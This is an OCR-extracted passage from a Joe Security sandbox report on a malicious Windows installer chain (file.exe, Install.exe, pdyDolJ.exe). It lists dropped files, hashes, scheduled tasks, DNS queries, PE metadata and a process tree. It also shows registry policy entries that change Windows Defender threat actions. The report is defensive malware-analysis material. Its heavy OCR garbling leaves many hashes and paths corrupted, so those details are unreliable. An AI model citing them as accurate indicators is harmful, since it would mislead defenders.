e.?.l...0Zs. Kl<....D"\{9.a. A.yd..}b.Q2X.......zd. k(..E....q.8l.g..u. X"t {{g....{.u.....JD.WA.....q.\8k }...G..2...zK......T..C~{.Gy..]j... #.fV.T9hm29....i..@Y...1r.M .1
j..b..3.%.d....=.G/.8%a...S..qz.T6S5G..X..iF".ar..g.~..n..|...N..dz.......... r.>d*..3..pg"..q.2H.H.. .0...#xV..e.[>...PEUat[.a;.U...+.1(...[t.d.oy<t....am..&%.N......>.X.....4_V.2
U.qU=c.N.L...cg.G.<..u=&321G.... k..3.0.riv.... T;)K.. .2.V...Pw.[....U.D'T....kvc.....u ....}>&.....B.{ k....\.2..u.-..P..Z.. +F..>yl+b...C..X16...C....#..pL...2.0...
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C:\Users\user\AppData\Local\Temp\7zS2DOC.tmp\Install.exe v@

Process: C:\Users\user\AppData\Local\Temp\7zS2607.tmp\Install.exe
File Type: PE32 executable (GUI) Intel 80386, for MS Windows
Category: dropped

Size (bytes): 7104512

Entropy (8bit): 7.680459343919421

Encrypted: false

SSDEEP: 98304:UKZUauh5CWkkhBJtnDRLX0BE55EDpV8Y7IJyvMMdsetQfcjeP5VQ8mMKUC5+0CMnK:pA59BIRDRLX0BDDp/CeKD53UCS5PjUr

MD5: 893793FBD70BA4A92919D09205D6C9C1

SHAT: CB1832F1F9652FAECE655FFBF49D82FEBI8CAB5A

SHA-256: A240FDA428ECCA831C7730C83F40BE6F43BB8370F33D8D66D4844B734011C57B

SHA-512: E4E30918B96BD5B7D0B8BC6AC189B1EBAD645B12E0AC3DE061DAA9E7003D6E746FEE1C6D9CB637A7AA19543B3339C08DBDB1E35A78628E8764A07DEDB3A7
3DC4

Malicious: true

Antivirus: « Antivirus: Avira, Detection: 100%

« Antivirus: ReversinglLabs, Detection: 51%

..................... I..L.IThis program cannot be run in DOS mode....$........u.wC..$C..$C..$NF.$I. . $NF$$... sNF%$...$...$H..$C..$P..$.. $W.

Preview:
$NF.$B..$...$B..$RichC..$.

C:\Users\user\AppData\Local\Temp\VXAfcxyYiTQKMOERw\efplSHrLkKviaSK\pdyDoll.exe v@

Process: C:\Users\user\AppData\Local\Temp\7zS2D0C.tmp\Install.exe
File Type: PE32 executable (GUI) Intel 80386, for MS Windows
Category: dropped

Size (bytes): 7104512

Entropy (8bit):  7.680459343919421

Encrypted: false

SSDEEP: 98304:UKZUauh5CWkkhBJtnDRLXOBE55EDpV8Y71JyvMMdsetQfcjeP5VQ8mKUCS5+0CMnK:pA59BIRDRLX0BDDp/CeKD53UC5PjUr

MD5: 893793FBD70BA4A92919D09205D6C9CH

SHAT: CB1832F1F9652FAECE655FFBF49D82FEB98CAB5A

SHA-256: A240FDA428ECCA831C7730C83F40BE6F43BB8370F33D8D66D4844B734011C57B

SHA-512: E4E30918B96BD5B7D0B8BC6AC189B1EBAD645B12E0AC3DE061DAA9E7003D6E746FEE1C6D9CB637A7AA19543B3339C08DBDB1E35A78628E8764A07DEDB3A7
3DC4

Malicious: true

Antivirus: « Antivirus: Avira, Detection: 100%

« Antivirus: ReversinglLabs, Detection: 51%

..................... I..L.IThis program cannot be run in DOS mode....$........uwC..$C..$C..$NF.$I..$NF$S$... $NF%$...$...$H..$C..$P..$.. SW.

Preview:
$NF.$B..$...$B..$RichC..$.
. k@.. t.8..

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ambua3bc.cdi.ps1

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type: very short file (no magic)

Category: dropped

Size (bytes): 1

Entropy (8bit): 0.0

Encrypted: false

SSDEEP: 3:U:U

MD5: C4CA4238A0B923820DCC509A6F75849B

SHA1: 356A192B7913B04C54574D18C28D46E6395428AB

SHA-256: 6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B

SHA-512: 4DFF4EA340F0A823F15D3F4F01AB62EAEOESDA579CCB851F8DBIDFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7FIBD058A12A280433ED6FA4651
0A

Malicious: false

Preview: 1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ctvry2t3.t3r.psm1
Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
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File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1:
SHA-256:
SHA-512:

Malicious:

Preview:

very short file (no magic)

dropped

1

0.0

false

3:U:U

C4CA4238A0B923820DCC509A6F75849B
356A192B7913B04C54574D18C28D46E6395428AB
6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B

4DFF4EA340F0A823F15D3F4F01AB62EAEOESDA579CCB851F8DBIDFE84C58B2B37B89903A740E1EE172DA793A6E79D560ES5F7F9BD058A12A280433ED6FA4651
0A

false

1

C:\Windows\SysWOWG64\ config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonlInteractive

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAT:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

data

dropped

12144

5.377046628185695

false
192:VtH+avFi5nkbYh/Gb2keE2DAsb+EBOYSVFEJ+aNK1e+9kN8rl:VteMKnkbrb50915SVS2rl
FE9620200B9EB3960270D352AFBE2CD7
9FC7320FF2949D0552C0E191A5F285A3BBEB663D
8BD03B4334DBB86A806D029833321B7A39D587678403C6297371086CE9C12D7C
E95E8F98B5490DD6A68828054138D12ABF2BBD38399CF25CA2BE4AA1F687F1FDEE943A729B3E89FBOFIB4ES288B8F193C783171F9254945DE78889672A3C8EE(

false

@...8. H....... <@.".L."My.......... .Microsoft.PowerShell. ConsoleHostD fZve...F....x.)........System.Management. Automati
ond.....ccoeeee [..{a.C..%6..h ..System.Core.0.. ...G-.0..A..4B. - . ...2g5..:0..9..q..........System.Xml..L... ~.......5.Microso
ft.Management.Infrastructure.8........ RO S ..System.Numerics.@................L0...QN...... <Q........ System.DirectoryServices<..

m.Management...4................... ].D.E ...System.Data.H...........c..... ... H..m)aUu......... Microsoft.PowerShell.Security...<................. ~[L.D.Z>.m.... System.Trans
actions.<.......ccce... ):gK..G...$.1.q........System.Configuration............cccoeereerenrenncienenn T.@.>@..@.V.@QH@XQ@[@NT@.HT@..S@..5S@.hT@..S@..S@..S

@.\@.T@.T@R.@X@.7X@..T@..S@..S@..T@..T@.

C:\Windows\System32\GroupPolicy\Machine\Registry.pol

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAT:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\AppData\Local\Temp\VXAfcxy YiTQKMOERw\efplSHrLkKviaSK\pdyDolJ.exe
RAGE Package Format (RPF),

dropped

4486

3.5339576290192576

false

96:W9H9h9j9n929K909293919S9nyJOROYiI0AOLOeOROGOWS:N
D4FADEF490BFB3525A04D9552210611E
EC434E4EE2ED3077A2467840325F598518C9B6DF
8EB0A72948AF47830E2603912A98EF534C4DADID5SEFEF105321B50EE4B99BIE3

48FA3F3E55DCD1E73724D6DBD6C0100096F32FABBF2AA3C68786A8F0F5B223C8137EBCF99D3C102BDA8B393C4BAFD5BBFD43940FFC0AB01E12536C9B4B19D
906

false

PReg...[.S.O.F.T.W.AR.E\.P.oli.c.i.es.\M..c.r.os.0ft\W.indow.s. .Defender\T.hreats..;Threats._.T.hreatldD.efa.u.ltActio.n.
S.O.F.TW.ARE\P.olicies\Mic.r.os.0.ft\Window.s. .Defender\Threats\ThreatldD.efaultAction..;225451.
O.F.TWA.RE\P.o.licies\M.icros.oft\W.indow.s..Defender\Threats\ThreatldD.efaultAction..;256.59.6.
F.TW.AR.E\P.olicies\M.icros.oft\W.indow.s. .Defender\Threats\ThreatldDefaultAction..;242872.,;.
TW.ARE\P.olicies\Micr.os.0ft\Wind.ow.s. .Defender\Threats\ThreatldD.efaultAction..;2.147749373
A.R.E\P.o.lic.i.e.s\M.i

B[ S.OFTW.

C:\Windows\System32\GroupPolicy\gpt.ini €

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):

Encrypted:

C:\Users\user\AppData\Local\Temp\7zS2D0C.tmp\Install.exe
ASCII text

dropped

268

4.9507895998010145

false
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SSDEEP: 6:1QnMzYHxbnPonn3dXsMzYHxbnn/JIAuNhUHdhJg+5Rnn3dzC:1QMOHxbnIVOHxbn/JnumuuzC

MD5: A62CE44A33F1C05FC2D340EAOCA118A4

SHAT: 1F03EB4716015528F3DE7F7674532C1345B2717D

SHA-256: 9F2CD4ACF23D565BC8498C989FCCCCF59FD207EF8925111DC63E78649735404A

SHA-512: 9D9A4DA2DF0550AFDB7B80BE22C6F4EF7DA5A52CC2BB4831B8FF6F30FOEE9EAC8960F61CDD7CFEOB1B6534A0F9E738F7EBBEA3839D2D92ABEB81660DE76E
7732

Malicious: true

Preview: [General].gPCUserExtensionNames=[{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{D02B1F73-3407-48AE-BA88-E8213C6761F 1}].gPCMachineExtensionNames=[{35

378EAC-683F-11D2-A89A-00C04FBBCFA2}{0F6B957E-509E-11D1-A7CC-0000F87571E3H{D02B1F72-3407-48AE-BA88-E8213C6761F1}].Version=100001.

C:\Windows\Tasks\bbsSMGQQDZvgelOgpL.job

Process: C:\Windows\SysWOW64\schtasks.exe
File Type: data

Category: dropped

Size (bytes): 526

Entropy (8bit): 3.684926359710003

Encrypted: false

SSDEEP: 12:29dCX03qQ1zKvkutlbKMITM5S39qQ1zKvkuwFhwVJ:Xd/L5vsKNL5vx

MD5: 3D1ACFB3B776CECD896559D840823F0E

SHAT: 5D0D68CBA95291B53860D613BCC7342FDEA1A557

SHA-256: 3CD11F87DDB03E7BDD95ECODCCID612F7D6D399A3136788D6927960D752E2FCB

SHA-512: 3DOEC87EC5B8D2B400AB3473C417A17AB682710690BDDA316521C827C9FDIDDCBFC13C2E9152B0A41E76CCE469B58D4C259D9BAB088F164DA22177475831C!
44

Malicious: false

Preview: el XOLdwF e S w....P.Ci\Us.ers\hardz\App.Data\lLo.cal\T.emp\V.XAfcxy.Y.iT.QKMO.ERw.\efp.lSHrLkKuv.i
a.S.K\pdy.D.o.lJ..exe...D.C. /site._.id. 525403../S..D.C..\Us.ers\hardz\AppD.atal\lLo.cal\Temp\V.XAfcxy.Y.iT.QKMO.ERwl\efp.
.SH.rLkKv.iaSK..D.ESKTO.P-716T.7.71\hard.z. ....0,

C:\Windows\Temp\__PSScriptPolicyTest_22rgx3dy.2p3.psm1

Process: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type: very short file (no magic)

Category: dropped

Size (bytes): 1

Entropy (8bit): 0.0

Encrypted: false

SSDEEP: 3:U:U

MD5: C4CA4238A0B923820DCC509A6F 758498

SHA1: 356A192B7913B04C54574D18C28D46E6395428AB

SHA-256: 6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B

SHA-512: 4DFF4EA340F0A823F15D3F4F01AB62EAEOESDA579CCB851F8DBIDFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA4651
0A

Malicious: false

Preview: 1

C:\Windows\Temp\__PSScriptPolicyTest_umumzqbx.lyl.ps1

Process: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type: very short file (no magic)

Category: dropped

Size (bytes): 1

Entropy (8bit): 0.0

Encrypted: false

SSDEEP: 3:U:U

MD5: C4CA4238A0B923820DCC509A6F75849B

SHA1: 356A192B7913B04C54574D18C28D46E6395428AB

SHA-256: 6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B

SHA-512: 4DFF4EA340F0A823F15D3F4F01AB62EAEOESDA579CCB851F8DBIDFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7FIBD058A12A280433ED6FA4651
0A

Malicious: false

Preview: 1

Copyright Joe Security LLC 2022 Page 17 of 48



C:\Windows\Temp\aoRCsjFoxFbwPJxK\MeXzroudxpEgwUW\RFYnzaH.exe v@

Process: C:\Users\user\AppData\Local\Temp\VXAfcxy YiTQKMOERw\efpISHrLkKviaSK\pdyDolJ.exe
File Type: PE32 executable (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 7104512

Entropy (8bit): 7.680459343919421

Encrypted: false

SSDEEP: 98304:UKZUauh5CWkkhBJtnDRLX0BE55EDpV8Y7IJyvMMdsetQfcjeP5VQ8mMKUC5+0CMnK:pA59BIRDRLX0BDDp/CeKD53UCS5PjUr

MD5: 893793FBD70BA4A92919D09205D6C9C1

SHAT: CB1832F1F9652FAECE655FFBF49D82FEBI8CAB5A

SHA-256: A240FDA428ECCA831C7730C83F40BE6F43BB8370F33D8D66D4844B734011C57B

SHA-512: E4E30918B96BD5B7D0B8BC6AC189B1EBAD645B12E0AC3DE061DAA9E7003D6E746FEE1C6D9CB637A7AA19543B3339C08DBDB1E35A78628E8764A07DEDB3A7
3DC4

Malicious: true

Antivirus: « Antivirus: Avira, Detection: 100%

« Antivirus: ReversinglLabs, Detection: 51%

Preview:  MZoie @ I..L.IThis program cannot be run in DOS mode....$........ u.wC..$C..$C..$NF .Sl .$NF$$...5NF%$...$...$H..$C..$P..$.. SW.

$NF.$B..$...$B..$RichC..$.

k@........ .8..
....... Jolviin@..B
\Device\ConDrv
Process: C:\Windows\System32\gpupdate.exe
File Type: ASCI! text, with CRLF, CR line terminators
Category: dropped
Size (bytes): 129

Entropy (8bit):  4.366220328806915

Encrypted: false

SSDEEP: 3:9BgvKCGPE3UKEmMdOO2AGN8cwwHBKEMdOO2AGN8cwow:guSFMEKErONGN83YKErONGN837

MD5: EF6D648C3DA0518B784D661B0C0OB1D3D

SHA1: C5C5F6E4AD6C3FD8BE4313E1A7C2AF2CAA3184AD

SHA-256: 18C16D43EB823C1BC78797991D6BA2898ACABEB2DESFD6946BE880F7C6FBBEFS

SHA-512: E1E0443CA2EO0BAFAC7CBBFD36D917D751AC6BE2F3F16D0B67B43EEBD47D6A7C36F12423AFA95B6BF56E5AAD155675C3307EFCE6E94F0808EB72EF27B093EA
DD67

Malicious: false

Preview: Updating policy......... Computer Policy update has completed successfully....User Policy update has completed successfully.......

Static File Info

General

File type: PE32 executable (GUI) Intel 80386, for MS Windows

Entropy (8bit):  7.996908423754259

TriD: « Win32 Executable (generic) a (10002005/4) 99.96%
« Generic Win/DOS Executable (2004/3) 0.02%
« DOS Executable Generic (2002/1) 0.02%
« Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%

File name: file.exe

File size: 7604002

MD5: €99e15a440798e20c682eb859b3f7885

SHA1: b6f3b87894f51669dedeOafebcb4b504fe0ae614

SHA256: ¢3dd8a06d395f4772011ed42c0980a54b06915782a06873150462994ed92a712

SHA512: 6cbbae34ab571522545be0c27e1f13cf0d8545f8ba69c3d343b3acic1f113b7dbebe3ce26a3897a1197bcOb57378165ab8145¢29332b99d83e50b87¢513e7d5e
SSDEEP: 196608:910cMHdXjggBmVeMymSmuw3lIk3+C83fqpl/jdyNVazZ4g:30cuF9m51T11ku93f8wd8Rg

TLSH: 6276333174C19CF2DE173231A28D2AE175F6EDD84D636A3717428A3A297D24AC3B1ES3

File Content MZ..oooiiiie @ e I..L.IThis program cannot be run in DOS

Preview: mode....$......... W..s...s...8...}...8...y...S..,. 80 LS LS XS S S M UL s  Rich s PE.L...S.L...........
Filelcon
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Icon Hash: 8484d4f2b8f47434

Static PE Info

General

Entrypoint: 0x414b04

Entrypoint Section: text

Digitally signed: false

Imagebase: 0x400000

Subsystem: windows gui

Image File Characteristics: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

DLL Characteristics:
Time Stamp: 0x4CES553F7 [Thu Nov 18 16:27:35 2010 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:
OS Version Minor:
File Version Major:
File Version Minor:

Subsystem Version Major:

o & O ~ O »

Subsystem Version Minor:

Import Hash: 3786a4cf8bfee8b4821db03449141df4

Entrypoint Preview
Instruction

push ebp

mov ebp, esp

push FFFFFFFFh

push 0041B9EOh

push 00414A2Ch

mov eax, dword ptr fs:[00000000h]
push eax

mov dword ptr fs:{00000000h], esp
sub esp, 58h

push ebx

push esi

push edi

mov dword ptr [ebp-18h], esp
call dword ptr [0041B074h]

xor edx, edx

mov dl, ah

mov dword ptr [004233D0h], edx
mov ecx, eax

and ecx, 000000FFh

mov dword ptr [004233CCh], ecx
shl ecx, 08h

add ecx, edx

mov dword ptr [004233C8h], ecx
shr eax, 10h

mov dword ptr [004233C4h], eax
push 00000001h

call 00007EFF5068258Bh

pop ecx

test eax, eax

jne 00007EFF506816FAh

push 0000001Ch

call 00007EFF506817B8h
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Instruction

pop ecx

call 00007EFF5068203Dh

test eax, eax

jne 00007EFF506816FAh

push 00000010h

call 00007EFF506817A7h

pop ecx

xor esi, esi

mov dword ptr [ebp-04h], esi
call 00007EFF506841ACh

call dword ptr [0041B078h]

mov dword ptr [00425A3Ch], eax
call 00007EFF5068406Ah

mov dword ptr [00423340h], eax
call 00007EFF50683E13h

call 00007EFF50683D55h

call 00007EFF506837B0h

mov dword ptr [ebp-30h], esi

lea eax, dword ptr [ebp-5Ch]
push eax

call dword ptr [0041B07Ch]

call 00007EFF50683CE6h

mov dword ptr [ebp-64h], eax
test byte ptr [ebp-30h], 00000001h
je 00007EFF506816F8h

movzx eax, word ptr [ebp+00h]

Rich Headers

Programming Language:

Data Directories

.

.

.

.

.

Name Virtual Address
IMAGE_DIRECTORY_ENTRY_EXPORT 0x0
IMAGE_DIRECTORY_ENTRY_IMPORT Ox1e9e4
IMAGE_DIRECTORY_ENTRY_RESOURCE 0x27000
IMAGE_DIRECTORY_ENTRY_EXCEPTION 0x0
IMAGE_DIRECTORY_ENTRY_SECURITY 0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC 0x0
IMAGE_DIRECTORY_ENTRY_DEBUG 0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT 0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR 0x0
IMAGE_DIRECTORY_ENTRY_TLS 0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG 0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT 0x0
IMAGE_DIRECTORY_ENTRY_IAT 0x1b000
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT 0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR 0x0
IMAGE_DIRECTORY_ENTRY_RESERVED 0x0

Sections

Name  Virtual Address  Virtual Size Raw Size Xored PE  ZLIB Complexity
text 0x1000 0x199ea 0x19a00 False 0.5822884908536585

Copyright Joe Security LLC 2022

[ C]VS98 (6.0) SP6 build 8804
[C++] VS98 (6.0) SP6 build 8804
[ C]VS2010 build 30319

[ASM] VS2010 build 30319
[EXP] VC++ 6.0 SP5 build 8804

Virtual Size Is in Section
0x0
0x64 .rdata
0xa60 .rsrc
0x0
0x0
0x0
0x0
0x0
0x0
0x0
0x0
0x0
0x1f8 .rdata
0x0

0x0

0x0

File Type Entropy Characteristics

6.608494417524647 IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_EXECU
TE,

IMAGE_SCN_MEM_READ

DOS executable (COM)
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Name  Virtual Address

.rdata 0x1b000

.data 0x20000

.sxdata  0x26000

.rsrc 0x27000

Resources
Name

RT_ICON

RT_ICON

RT_DIALOG
RT_STRING
RT_STRING
RT_GROUP_ICON
RT_VERSION

Imports
DLL

OLEAUT32.dlI
USER32.dll

SHELL32.dll
KERNEL32.dll

Possible Origin

Virtual Size  Raw Size

0x4494 0x4600

0x5a48 0x3200

Ox4 0x200

0xa60 0xc00

RVA

0x274a0

0x27788

0x278d8
0x27990
0x27a28
0x278b0
0x271e0

Language of compilation system

English

Network Behavior

UDP Packets

Timestamp

Nov 24, 2022 19:16:15.101864100 CET

Nov 24, 2022 19:16:15.119308949 CET

Copyright Joe Security LLC 2022

Xored PE

False

False

False

False

Size

0x2e8

0x128

0xb8
0x94
0x34
0x22
0x2bc

ZLIB Complexity File Type Entropy Characteristics
0.31166294642857145 data 4.368016436198423 IMAGE_SCN_CNT_INITIALI
ZED_DATA,
IMAGE_SCN_MEM_READ
0.122890625 data 1.370539432871311 IMAGE_SCN_CNT_INITIALI
ZED_DATA,
IMAGE_SCN_MEM_READ,
IMAGE_SCN_MEM_WRITE
0.02734375 data 0.020393135236084953 IMAGE_SCN_CNT_INITIALI
ZED_DATA,
IMAGE_SCN_LNK_INFO,
IMAGE_SCN_MEM_READ,
IMAGE_SCN_MEM_WRITE
0.3388671875 data 3.3019646948427273 IMAGE_SCN_CNT_INITIALI
ZED_DATA,
IMAGE_SCN_MEM_READ
Type Language Country
Device independent bitmap graphic, 32 x 64 x 4, English United States
image size 640
Device independent bitmap graphic, 16 x 32 x 4, English United States
image size 192
data English United States
data English United States
data English United States
data English United States
data English United States
Import

VariantClear, SysAllocString

SendMessageA, SetTimer, DialogBoxParamW, DialogBoxParamA, SetWindowLongA, GetWindowLongA,
SetWindowTextW, LoadlconA, LoadStringW, LoadStringA, CharUpperW, CharUpperA, DestroyWindow, EndDialog,
PostMessageA, ShowWindow, MessageBoxW, GetDlgltem, KillTimer, SetWindowTextA

ShellExecuteExA

GetStringTypeW, GetStringTypeA, LCMapStringW, LCMapStringA, InterlockedIncrement, InterlockedDecrement,
GetProcAddress, GetOEMCP, GetACP, GetCPInfo, IsBadCodePtr, IsBadReadPtr, GetFileType, SetHandleCount,
GetEnvironmentStringsW, GetEnvironmentStrings, FreeEnvironmentStringsW, FreeEnvironmentStringsA,
UnhandledExceptionFilter, HeapSize, GetCurrentProcess, TerminateProcess, IsBadWritePtr, HeapCreate,
HeapDestroy, GetEnvironmentVariableA, SetUnhandledExceptionFilter, TisAlloc, ExitProcess, GetVersion,
GetCommandLineA, GetStartupInfoA, GetModuleHandleA, WaitForSingleObject, CloseHandle, CreateProcessA,
SetCurrentDirectoryA, GetCommandLineW, GetVersionExA, LeaveCriticalSection, EnterCriticalSection,
DeleteCriticalSection, MultiByteToWideChar, WideCharToMultiByte, GetLastError, LoadLibraryA, AreFileApisANSI,
GetModuleFileNameA, GetModuleFileNameW, LocalFree, FormatMessageA, FormatMessageW,
GetWindowsDirectoryA, SetFileTime, CreateFileW, SetLastError, SetFileAttributesA, RemoveDirectoryA,
SetFileAttributesW, RemoveDirectoryW, CreateDirectoryA, CreateDirectoryW, DeleteFileA, DeleteFileW, IstrlenA,
GetFullPathNameA, GetFullPathNameW, GetCurrentDirectoryA, GetTempPathA, GetTempFileNameA, FindClose,
FindFirstFileA, FindFirstFileW, FindNextFileA, CreateFileA, GetFileSize, SetFilePointer, ReadFile, WriteFile,
SetEndOfFile, GetStdHandle, WaitForMultipleObjects, Sleep, VirtualAlloc, VirtualFree, CreateEventA, SetEvent,
ResetEvent, InitializeCriticalSection, RtlUnwind, RaiseException, HeapAlloc, HeapFree, HeapReAlloc, CreateThread,
GetCurrentThreadld, TlsSetValue, TIsGetValue, ExitThread

Country where language is spoken Map

United States

Source Port Dest Port Source IP Dest IP
52387 53 192.168.2.3 8.8.8.8
53 52387 8.8.8.8 192.168.2.3
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Timestamp
Nov 24, 2022 19:16:15.974688053 CET
Nov 24, 2022 19:16:16.000452042 CET

DNS Queries

Timestamp Source IP Dest IP

Nov 24, 2022 19:16:15.101864100  192.168.2.3 8.8.8.8

CET

Nov 24, 2022 19:16:15.974688053
CET

192.168.2.3 8.8.8.8

DNS Answers

Timestamp Source IP Dest IP Trans ID

Nov 24, 2022 8.8.8.8 192.168.2.3 Oxc24c
19:16:15.119308949

CET

Nov 24, 2022
19:16:16.000452042
CET

Nov 24, 2022
19:16:16.000452042
CET

8.8.8.8 192.168.2.3 0x51c1

8.8.8.8

192.168.2.3 0x51ct

Statistics

Behavior

Copyright Joe Security LLC 2022

Source Port Dest Port Source IP Dest IP
56924 53 192.168.2.3 8.8.8.8
53 56924 8.8.8.8 192.168.2.3
DNS over
Trans ID OP Code Name Type Class HTTPS
0xc24c Standard query  service-do A (IP address) IN (0x0001) false
(0) main.xyz
0x51ct Standard query  clients2.g A (IP address) IN (0x0001) false
(0) oogle.com
DNS over
Reply Code Name CName Address Type Class HTTPS
No error (0) service-do 3.80.150.121 A (IP address) IN false
main.xyz (0x0001)
No error (0) clients2.g clients.l.google CNAME IN false
oogle.com .com (Canonical (0x0001)
name)
No error (0) clients.|. 142.250.203.1 A (IP address) IN false
google.com 10 (0x0001)
o file.exe
o Install.exe
@ Install.exe

o forfiles.exe
@ conhost.exe
o forfiles.exe
@ conhost.exe
@ cmd.exe

® cmd.exe

® reg.exe

® reg.exe

® reg.exe

® reg.exe

@ schtasks.exe
@ conhost.exe
@ schtasks.exe
@ conhost.exe
@ powershell.exe
@ conhost.exe
@ gpupdate.exe
@ conhost.exe
® gpscript.exe
@ schtasks.exe
@ conhost.exe
@ schtasks.exe
@ conhost.exe
@ pdyDolJ.exe
@ powershell.exe
@ conhost.exe
® cmd.exe

® reg.exe

® reg.exe

® reg.exe

® reg.exe

® reg.exe

® reg.exe

® reg.exe

® reg.exe

® reg.exe

® reg.exe

® reg.exe

@ Conhost.exe
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o)

Click to jump to process

System Behavior

Analysis Process: file.exe PID: 5428, Parent PID: 3452

General
Target ID:
Start time:
Start date:
Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

File Activities

0

19:15:05

24/11/2022

C:\Users\user\Desktopl\file.exe

true

C:\Users\user\Desktop\file.exe

0x400000

7604002 bytes
E99E15A440798E20C682EB859B3F7885
true

true

C, C++ or other language

low

Analysis Process: Install.exe PID: 2620, Parent PID: 5428

General
Target ID:
Start time:
Start date:
Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:
Antivirus matches:

Reputation:

File Activities

File Created
File Path

C:\Users\user\AppData\Local\Temp\7zS2D0C.tmp

C:\Users\user\AppData\Local\Temp\7zS2D0C.tmp

C:\Users\user\AppData\Local\Temp\7zS2D0C.tmp

1

19:15:06

24/11/2022
C:\Users\user\AppData\Local\Temp\7zS2607.tmp\Install.exe
true

Alnstall.exe

0x400000

6571809 bytes

65D01849A2062434BCE6C580CDA92A1D

true

true

C, C++ or other language
« Detection: 41%, ReversingLabs

low

Access Attributes
read attributes |  device
synchronize |

generic read

read data or list ~ device
directory |

synchronize

read data or list ~ device

directory |
synchronize

Copyright Joe Security LLC 2022

Options

synchronous io
non alert | non
directory file

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

Completion Count
success or wait 1
success or wait 1
object name collision 1

Source Address

4050D4

404996

4049D6

Symbol

GetTempFile
NameA

CreateDirect
oryA

CreateDirect
oryW
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File Path

C:\Users\user\AppData\Local\Te
mp\7zS2D0C.tmp\Install.exe

File Deleted
File Path

Access Attributes Options

read attributes |  device
synchronize |

generic write

synchronous io
non alert | non
directory file

C:\Users\user\AppData\Local\Temp\7zS2D0C.tmp

C:\Users\user\AppData\Local\Temp\7zS2D0C.tmp\Install.exe

File Written
File Path

C:\Users\user\AppData\Local\Te 0
mp\7zS2D0C.tmp\Install.exe

File Read
File Path

C:\Users\user\AppData\Local\Temp\7zS2607.tmp\Install.exe
C:\Users\user\AppData\Local\Temp\7zS2607.tmp\Install.exe
C:\Users\user\AppData\Local\Temp\7zS2607.tmp\Install.exe
C:\Users\user\AppData\Local\Temp\7zS2607.tmp\Install.exe

Offset Length Value Ascii

65536  4d 5afd 00 03 00 00 00
04 00 00 00 fd fd 00 00 fd
00 00 00 00 00 00 00 40
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 fd 00 00 00 Oe
1f fd Oe 00 fd 09 fd 21 fd
01 4c fd 21 54 68 69 73
2070 72 6f 67 72 61 6d
20 63 61 6e 6e 6f 74 20
62 65 20 72 75 6e 20 69
6e 20 44 4f 53 20 6d 6f
64 65 2e 0d 0d Oa 24 00
00 00 00 00 00 00 07 75
fd 77 43 14 fd 24 43 14 fd
24 43 14 fd 24 4e 46 1a
24 6¢ 14 fd 24 4e 46 24
24 04 14 fd 24 4e 46 25
24 fd 14 fd 24 fd fd Oe 24
48 14 fd 24 43 14 fd 24
50 15 fd 24 fd fd 20 24 57
14 fd 24 4e 46 1e 24 42
14 fd 24 fd fd 1b 24 42 14
fd 24 52 69 63 68 43 14
fd 24 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 50 45 00 00 4c 01
05 00 fd fd 68 5e 00 00
00 00 00 00 00 00 fd 00
02

MZ@!L!This program
cannot be run in DOS
mode.$uwC$CSCINF$I$
NF$$SNF%S$SHSCSPS
SWHNF$BSSBSRI
chC$PELh?

Offset Length

unknown 4096
unknown 32
unknown 65504

unknown 1048576

Analysis Process: Install.exe PID: 3408, Parent PID: 2620

General
Target ID:
Start time:
Start date:
Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Antivirus matches:

2

19:15:08

24/11/2022
C:\Users\user\AppData\Local\Temp\7zS2D0C.tmp\Install.exe
true

AlInstall.exe /S /site_id "525403"

0x3f0000

7104512 bytes

893793FBD70BA4A92919D09205D6C9C1

true

true

C, C++ or other language

« Detection: 100%, Avira
« Detection: 51%, ReversingLabs

